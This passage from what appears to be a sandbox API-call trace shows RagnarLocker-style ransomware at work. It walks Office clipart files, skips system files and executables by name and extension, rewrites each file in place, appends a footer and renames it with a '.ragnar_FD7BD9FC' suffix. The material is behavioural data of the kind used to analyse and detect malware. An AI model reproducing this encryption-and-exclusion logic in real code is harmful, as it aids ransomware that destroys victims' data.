Office\\CLIPART\\PUB60COR\\SO02578_.WMF.ragnar_FD7BD9FC" [0092.305] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.306] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6d32800, ftCreationTime.dwHighDateTime=0x1bd4c4e, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6d32800, ftLastWriteTime.dwHighDateTime=0x1bd4c4e, nFileSizeHigh=0x0, nFileSizeLow=0x5fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02617_.WMF", cAlternateFileName="")) returned 1 [0092.306] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.306] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02617_.WMF" | out: lpString1="SO02617_.WMF") returned="SO02617_.WMF" [0092.306] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF") returned=".WMF" [0092.306] lstrcmpiW (lpString1="SO02617_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.306] lstrcmpiW (lpString1="SO02617_.WMF", lpString2="autorun.inf") returned 1 [0092.306] lstrcmpiW (lpString1="SO02617_.WMF", lpString2="boot.ini") returned 1 [0092.306] lstrcmpiW (lpString1="SO02617_.WMF", lpString2="bootfont.bin") returned 1 [0092.306] lstrcmpiW (lpString1="SO02617_.WMF", lpString2="bootsect.bak") returned 1 [0092.306] lstrcmpiW (lpString1="SO02617_.WMF", lpString2="bootmgr") returned 1 [0092.306] lstrcmpiW (lpString1="SO02617_.WMF", lpString2="bootmgr.efi") returned 1 [0092.306] lstrcmpiW (lpString1="SO02617_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.306] lstrcmpiW (lpString1="SO02617_.WMF", lpString2="desktop.ini") returned 1 [0092.306] lstrcmpiW (lpString1="SO02617_.WMF", lpString2="iconcache.db") returned 1 [0092.306] lstrcmpiW (lpString1="SO02617_.WMF", lpString2="ntldr") returned 1 [0092.306] lstrcmpiW (lpString1="SO02617_.WMF", lpString2="ntuser.dat") returned 1 [0092.306] lstrcmpiW (lpString1="SO02617_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.306] lstrcmpiW (lpString1="SO02617_.WMF", lpString2="ntuser.ini") returned 1 [0092.306] lstrcmpiW (lpString1="SO02617_.WMF", lpString2="thumbs.db") returned -1 [0092.306] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.306] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.306] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.306] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.306] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.307] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.307] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf")) returned 0x20 [0092.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.307] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24556) returned 1 [0092.307] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5fe3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.307] GetProcessHeap () returned 0x580000 [0092.307] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.307] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.309] VirtualAlloc (lpAddress=0x0, dwSize=0x5fec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.309] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.309] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.309] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5fec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5fec, lpOverlapped=0x0) returned 1 [0092.310] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.310] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5fec, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.310] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5fec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5fec, lpOverlapped=0x0) returned 1 [0092.311] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5fec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.311] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.311] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5fec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.311] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.311] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.311] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.311] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.311] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.311] GetProcessHeap () returned 0x580000 [0092.311] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.311] CloseHandle (hObject=0xf4) returned 1 [0092.311] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" [0092.312] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF.ragnar_FD7BD9FC" [0092.312] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.312] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7f4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02790_.WMF", cAlternateFileName="")) returned 1 [0092.312] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.312] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02790_.WMF" | out: lpString1="SO02790_.WMF") returned="SO02790_.WMF" [0092.312] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF") returned=".WMF" [0092.312] lstrcmpiW (lpString1="SO02790_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.312] lstrcmpiW (lpString1="SO02790_.WMF", lpString2="autorun.inf") returned 1 [0092.312] lstrcmpiW (lpString1="SO02790_.WMF", lpString2="boot.ini") returned 1 [0092.312] lstrcmpiW (lpString1="SO02790_.WMF", lpString2="bootfont.bin") returned 1 [0092.312] lstrcmpiW (lpString1="SO02790_.WMF", lpString2="bootsect.bak") returned 1 [0092.312] lstrcmpiW (lpString1="SO02790_.WMF", lpString2="bootmgr") returned 1 [0092.312] lstrcmpiW (lpString1="SO02790_.WMF", lpString2="bootmgr.efi") returned 1 [0092.313] lstrcmpiW (lpString1="SO02790_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.313] lstrcmpiW (lpString1="SO02790_.WMF", lpString2="desktop.ini") returned 1 [0092.313] lstrcmpiW (lpString1="SO02790_.WMF", lpString2="iconcache.db") returned 1 [0092.313] lstrcmpiW (lpString1="SO02790_.WMF", lpString2="ntldr") returned 1 [0092.313] lstrcmpiW (lpString1="SO02790_.WMF", lpString2="ntuser.dat") returned 1 [0092.313] lstrcmpiW (lpString1="SO02790_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.313] lstrcmpiW (lpString1="SO02790_.WMF", lpString2="ntuser.ini") returned 1 [0092.313] lstrcmpiW (lpString1="SO02790_.WMF", lpString2="thumbs.db") returned -1 [0092.313] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.313] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.313] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.313] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.313] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.313] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.313] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf")) returned 0x20 [0092.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.314] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32590) returned 1 [0092.314] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7f45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.314] GetProcessHeap () returned 0x580000 [0092.314] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.314] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.316] VirtualAlloc (lpAddress=0x0, dwSize=0x7f4e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.316] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.316] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.316] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7f4e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7f4e, lpOverlapped=0x0) returned 1 [0092.317] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.317] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7f4e, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.317] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7f4e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7f4e, lpOverlapped=0x0) returned 1 [0092.318] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7f4e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.318] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.318] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7f4e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.318] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.318] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.318] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.318] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.318] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.318] GetProcessHeap () returned 0x580000 [0092.318] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.318] CloseHandle (hObject=0xf4) returned 1 [0092.319] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" [0092.319] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF.ragnar_FD7BD9FC" [0092.319] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.319] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x430c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02791_.WMF", cAlternateFileName="")) returned 1 [0092.319] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.319] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02791_.WMF" | out: lpString1="SO02791_.WMF") returned="SO02791_.WMF" [0092.319] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF") returned=".WMF" [0092.319] lstrcmpiW (lpString1="SO02791_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.319] lstrcmpiW (lpString1="SO02791_.WMF", lpString2="autorun.inf") returned 1 [0092.319] lstrcmpiW (lpString1="SO02791_.WMF", lpString2="boot.ini") returned 1 [0092.319] lstrcmpiW (lpString1="SO02791_.WMF", lpString2="bootfont.bin") returned 1 [0092.320] lstrcmpiW (lpString1="SO02791_.WMF", lpString2="bootsect.bak") returned 1 [0092.320] lstrcmpiW (lpString1="SO02791_.WMF", lpString2="bootmgr") returned 1 [0092.320] lstrcmpiW (lpString1="SO02791_.WMF", lpString2="bootmgr.efi") returned 1 [0092.320] lstrcmpiW (lpString1="SO02791_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.320] lstrcmpiW (lpString1="SO02791_.WMF", lpString2="desktop.ini") returned 1 [0092.320] lstrcmpiW (lpString1="SO02791_.WMF", lpString2="iconcache.db") returned 1 [0092.320] lstrcmpiW (lpString1="SO02791_.WMF", lpString2="ntldr") returned 1 [0092.320] lstrcmpiW (lpString1="SO02791_.WMF", lpString2="ntuser.dat") returned 1 [0092.320] lstrcmpiW (lpString1="SO02791_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.320] lstrcmpiW (lpString1="SO02791_.WMF", lpString2="ntuser.ini") returned 1 [0092.320] lstrcmpiW (lpString1="SO02791_.WMF", lpString2="thumbs.db") returned -1 [0092.320] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.320] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.320] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.320] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.320] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.320] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.320] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf")) returned 0x20 [0092.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.321] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17164) returned 1 [0092.321] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4303, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.321] GetProcessHeap () returned 0x580000 [0092.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.321] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.322] VirtualAlloc (lpAddress=0x0, dwSize=0x430c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.322] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.322] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.322] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x430c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x430c, lpOverlapped=0x0) returned 1 [0092.323] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.323] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x430c, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.324] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x430c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x430c, lpOverlapped=0x0) returned 1 [0092.324] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x430c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.324] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.324] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x430c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.324] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.324] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.324] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.324] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.325] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.325] GetProcessHeap () returned 0x580000 [0092.325] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.325] CloseHandle (hObject=0xf4) returned 1 [0092.325] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" [0092.325] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF.ragnar_FD7BD9FC" [0092.325] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.326] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, 